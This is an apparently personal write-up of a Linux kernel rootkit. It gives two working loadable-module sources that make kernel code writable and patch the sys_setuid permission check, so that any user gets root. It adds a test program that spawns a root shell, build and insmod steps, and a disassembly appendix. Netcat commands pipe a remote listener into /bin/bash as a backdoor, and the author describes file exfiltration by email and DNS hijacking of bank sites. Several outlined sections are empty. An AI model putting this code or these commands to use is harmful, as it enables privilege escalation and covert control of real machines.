1. Introduction About one or two months ago I interested in Linux kernel module programming. It was a surprise to find out that new kernels do not export many kernel symbols any more. Exporting is important for a module to be linked to get kernel services. For example "copy_from_user" to get user space data is still available, but the system call table address is not. All kernel information is divided to two classes. This restricts heavily the kernel module programming. Linux is supposed to be "free"? Restriction has been done for security reasons. Annoying thing is that kernel developers do not understand a most important technical principle. Computer HW supports protection, in Intel/AMD -terminology uses “rings” 0 and 3. If some code can execute privileged instructions (ring 0) it has all the power and it can do whatever, there is no means to protect against it. Every kernel loadable module program runs on privilege 0. This means that protection against it is impossible, no matter are symbols exported or not. I can say that, but how to prove it? Well, this restriction has continued for a long time, if it useful at all, then nowadays it is very hard to write a rootkit. I have never been working with rootkits but now I did one for demonstration purposes. It is written with c-language and needs few in-line assembly instructions. It makes many funny things as crashes every text processing software, which tries to save a "ugly" word to disk- and gives a spoken comment to user. It can send whatever system file to given email address if sendmail is configured, give super user rights if only asked and so on. I can't keep it installed whole time even it is funny, because it changes my bank connection (from any web browser) to the Bandidos MC web page (a funny feature). My module uses technique which I call DNS ignoring (not well known DNS poisoning). I also later added a extremely simple back door feature, which makes possible to execute any set of predefined shell commands and send the result to a given address or get a list of commands from outside and execute it after module installation- was not costly, no new coding because the “sendmail- feature” was already implemented. When this text is published the methods presented are old. If a technique is known, patches easily prevent the usage of the technique in question. This is not a problem to me. My point is not to get a dangerous rootkit but prove my point mentioned earlier. Rkhunter or Chkrootkit can't find my rootkit now, but what about tomorrow. 1.1 1.2 Linux system differences 32/64,AMD/Intel,kernel versions, libraries 1.3 Constants, temporary, permanent A dictionary definition of the word constant: "Unchanging in nature, value, or extent; invariable". Well, but what about the lifetime of a constant? How long constant lives or keeps it's value. When kernel is compiled, linked and located every symbol has a constant value. Some constants are more permanent than others. When we recompile a kernel with new configuration file the address of the system call table can change even we have the same source. But what about for example the displacement values? Let's take an example: kernel system call service routine "sys_setuid" is written with c- language. This c- code is not updated very often. This means that if you have for example a 64 bit version a certain jump instruction in the code has the same displacement from the code start from version to version. Even better, if/when c-code is (very seldom) changed everybody can get the source and compile and link the kernel and see the new displacements. This kind of constant is very permanent. I have used 4 of them: 0x4d is displacement in sys_setuid, 0x75 is conditional jump and 0xeb is unconditional jump, 0x8b is a displacement from system call entry. Short life constants must be left to find out runtime. For example the system call entry address can be found of a module specific register (MSR). See also 1.2. 1.4 Very simple introductory LKM examples 1.4.1 Module c-codes and short introduction See first 1.2 and 1.3 to understand example modules. Both modules give super user shell to everybody who ask to be super user, see 1.4.3. The first module is written using c without any in-line assembly, but it is not very useful, because it has the "setuid" service routine address of the kernel as a constant value (can be found) from System.map. The second module finds the address runtime. Both modules modify one byte of the kernel. The kernel makes tests have you rights to get root access if you ask to. The module changes the conditional jump machine code to the unconditional jump, meaning you pass the test always. If you are interested in details see Appendix 1. See also 1.4.5. MODULE 1 (all needed code visibke)--- use return 0 if you can'ät believe comment #include <linux/version.h> #include <linux/module.h> #include <linux/highmem.h> #include <asm/unistd.h> char *p; int init_module(void) //0x0ffffffff8107f760 depends on system must be taken from the map { pte_t *pte1; unsigned int dummy_but_needed; p=(char *)(0x0ffffffff8107f760 +0x4d); //0x0ffffffff8107f760: Got from /boot System.map.xx.xx.xx pte1 = lookup_address((unsigned long long)p, &dummy_but_needed); pte1->pte |= _PAGE_RW; //Now the code page is writable *(p) = (char)0xeb; //0xeb is the code of the unconditional jmp- we don't care are we allowed to get rights return -1; // Insmod complains and module disappears from the system but module did it's work already } MODULE_LICENSE("GPL");//We don't need cleanup_module NEXT VERSION: unsigned long long bit64,*bit64_ptr,sys_call_table; unsigned long long setuid_addr_ptr; unsigned long long sys_call_entry_ptr; char *p1; int init_module(void) { pte_t *pte1; unsigned int dummy; //------------------------------------asm("mov $0xc0000082,%ecx;rdmsr;"); //MSR register for AMD- DIFFERENT CONSTANT FOR INTEL (0x176?) asm("mov %eax, sys_call_entry_ptr;"); sys_call_entry_ptr = (0xffffffff0000008b + (unsigned long long )sys_call_entry_ptr); bit64 = *(unsigned long long *)sys_call_entry_ptr; //Got instr p1 = (char *)&bit64 + 3; p1=(char *)(*(unsigned long long *)((unsigned long long)( *(unsigned int *)p1 | 0xffffffff00000000) + 8 * __NR_setuid)+0x4d); //------------------------------------pte1 = lookup_address((unsigned long long)p1, &dummy); pte1->pte |= _PAGE_RW; *(p1) = (char)0xeb; return -1; } void cleanup_module(void) { ;} MODULE_LICENSE("GPL"); MODULE_AUTHOR("Sika"); MODULE_VERSION("100.100"); MODULE_DESCRIPTION("funny"); -------------------------------------------------------------- 1.4.2 Compiling and installing the example modules To compile and test simple examples you must do: (1) Edit a file with the name "Makefile": ------------------------------------------------------------- obj-m += your_module_name.o all: make -C /lib/modules/`uname -r`/build M=`pwd` modules -----------------------------------------------------------(2) Do the command "make" (3) Do the command "insmod your_module_name.ko" as root If you system don't support `uname -r` (I don't understand why), you can use for example "/lib/modules/3.2.0-23-generic/build M=`pwd` modules" 1.4.3 Test programs and their usage To use the example 2, you must have 64-bit system with AMD processor. Module specific register (MSR) for Intel has different address. ----------------------------------------------------------------- int main(int argc,char *argv[]) { setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;"); explained later system("/bin/bash"); } -----------------------------------------------------------------The short history of this test program: I was lately using older Ubuntu 12 and got root privileges with test program with “setuid(0)" when module was loaded. Then I installed newest Ubuntu 12.04 with Kernel 3.2.0.23 and test program was not working until I replaced "setuid(0)" with the in-line assembly (the syscall number of setuid is 105). Conclusions: User space system call library don't allow illegal requests? New feature? (Not sure about that) Assembly line passes by the library. See 1.2 and 1.3.- differences in libraries? 1.4.4 What if the module don't work in my system 1.4.5 Conclusions On the first sight the first c-language module looks nice, few lines of c. On second thought it is fully useless. You must be root to get "sys_setuid" address from System.map but module only gives to you root access! The truth is that it not very useful. Still remains the possibility of the social engineering. Somebody can say to the root user: Please, show me how to find out symbol addresses, let's say "sys_setuid". What can follow: ----------------------------- tk@sika:/boot$ sudo grep sys_setuid System.map-3.2.0-23-generic [sudo] password for root: T sys_setuid ffffffff8107f760 T sys_setuid !!!!! known now ffffffff810a2870 T sys_setuid16 tk@sika:/boot$ -----------------------------The module 2 finds out this address in the question runtime. 2. More versatile tool 2.1 Pseudo code of the advanced module 2.1 Basic methods 2.1.1 Modification of the system call arguments 2.1.2 Making more (own of the module) system calls 2.2 Functions 2.2.4 DNS ignoring and MITM 2.2.5 Sending e-mail from module 2.2.6 More functions 2.2.7 Very simple back door [REMARKS: Next examples are experimental. Netcat is not always available. Also an firewall can stop connections to most of ports. However, it is very easy replace commands used here with other commands. For example take connection to an attacker machine port 80 or even use mailx command to send files (if sendmail is configured)........... ] An user level back door program is very simple to write using socket programming. It needs super user rights and can be detected easily and firewall can prevent outside contacts to it easily. I started to experiment with netcat and I used local host as a victim and an attacker: Attacker: ------------------------------------------------- $ nc -l 60001 /home/xxx <------answer from victim $ <------commands to victim echo "touch FILE1; pwd; rm FILE2" | nc 127.0.0.1 60000 Victim $ /bin/bash -c “nc -l 60000 |/bin/bash| nc 127.0.0.1 60001” implemented (FIREWALL ?) <------victim must have this More secure is just to send information not to wait command, and to use the port 80, passes possible firewall outgoing rules. --------------------------------------------------So, if we can run a shell command from system call environment we can do a lot. But why not? We can replace any system call with different call in this case the execve. Problem is that the process dies, if we don't use fork, but we can use a respawning system program (or even catch __NR_exit from user? No harm done then). How to make the execve? A code snippet: …....................... …........ RDI=(unsigned long long) u_ptr; RSI=(unsigned long long)(u_ptr+DISPLACE);//Parameter area address constructed for all the commands RAX=__NR_execve; RDX=0; goto THE_END; …........ THE_END: RAX =sys_call_table_addr + RAX * 8; return RAX; //After return calling execve kernel function …......................... 2.2.8 Setup -module init 2.2.9 (Pieces of) the c-code and explanations 2.2.10 Conclusions, summary *********************************************************************************** Appendix 1 ------------------------------------------------ old = current_cred(); retval = -EPERM; if (nsown_capable(CAP_SETUID)) { <---------------------HERE new->suid = new->uid = uid; if (uid != old->uid) { retval = set_user(new); if (retval < 0) goto error; -------------------------------------------------------ffffffff8107f851: ffffffff8107f856: ffffffff8107f85d: ffffffff8107f85f: ffffffff8107f866: ffffffff8107f86b: ffffffff8107f86d: bf 07 00 00 00 mov $0x7,%edi 65 48 8b 04 25 00 c5 mov %gs:0xc500,%rax 00 00 4c 8b a0 50 04 00 00 mov 0x450(%rax),%r12 e8 b5 42 ff ff callq 0xffffffff81073b20 <-nsown_cabable 84 c0 test %al,%al -> 7531 jne 0xffffffff8107f8a0 <-----------we change 75 to eb ffffffff8107f86f: ffffffff8107f874: 45 39 6c 24 04 74 49 cmp je %r13d,0x4(%r12) 0xffffffff8107f8bf ffffffff8107f876: ffffffff8107f87a: ffffffff8107f881: 44 39 6b 0c 49 c7 c6 ff ff ff ff 74 3c cmp %r13d,0xc(%rbx) mov $0xffffffffffffffff,%r14 je 0xffffffff8107f8bf Appendix 2 Appendix 3 Appendix 4